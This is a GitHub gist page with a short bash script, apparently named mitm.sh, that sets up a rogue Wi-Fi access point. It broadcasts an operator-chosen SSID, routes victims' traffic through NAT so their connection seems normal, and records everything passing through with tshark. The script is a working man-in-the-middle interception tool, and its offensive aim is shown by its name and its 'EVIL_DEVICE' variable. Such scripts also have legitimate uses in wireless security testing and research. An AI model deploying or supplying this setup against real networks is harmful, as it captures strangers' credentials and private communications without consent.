Skip to content

Instantly share code, notes, and snippets.

@MrChrisWeinert
Created April 28, 2019 16:06
Show Gist options
  • Save MrChrisWeinert/6d449c5ecc03c47e14f90f8c61d513b6 to your computer and use it in GitHub Desktop.
Save MrChrisWeinert/6d449c5ecc03c47e14f90f8c61d513b6 to your computer and use it in GitHub Desktop.
I use this to fire up an access point and log all trafic flowing through it.
#!/bin/bash
# Catch ctrl c so we can exit cleanly
function control_c() {
echo Killing processes..
killall dnsmasq
killall hostapd
/etc/init.d/networking restart
}
trap control_c SIGINT
if [ -z $1 ]
then
echo "Usage: ./mitm.sh SSIDName"
exit
fi
EVIL_DEVICE=wlan1
MONITOR_DEVICE=`echo $EVIL_DEVICE`mon
OUTPUT_DEVICE=wlan0
#Update config files on the fly
sed -i "s/ssid=.*/ssid=$1/" /etc/hostapd/hostapd.conf
sed -i "s/interface=.*/interface=$MONITOR_DEVICE/" /etc/dnsmasq.d/dnsmasq.conf
#Put device into monitor mode
if [ `ifconfig | grep $MONITOR_DEVICE | wc -l` != 1 ]
then
airmon-ng start $EVIL_DEVICE
fi
#Store the pcap file with the SSID name + datetime
PCAP_FILE=`echo $1`_`date +%Y%m%d_%H%M`.pcap
#assign an IP...
ifconfig $MONITOR_DEVICE 192.168.0.1/24 up
#Start dns
dnsmasq -C /etc/dnsmasq.d/dnsmasq.conf
#Wire up the two network devices so the interwebz still work
sysctl -w net.ipv4.ip_forward=1
iptables --append FORWARD --in-interface $MONITOR_DEVICE -j ACCEPT
iptables --table nat -A POSTROUTING -o $OUTPUT_DEVICE -j MASQUERADE
#Fire up the access point
hostapd /etc/hostapd/hostapd.conf -B
#Save the bits
tshark -i $MONITOR_DEVICE -w $PCAP_FILE -P
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment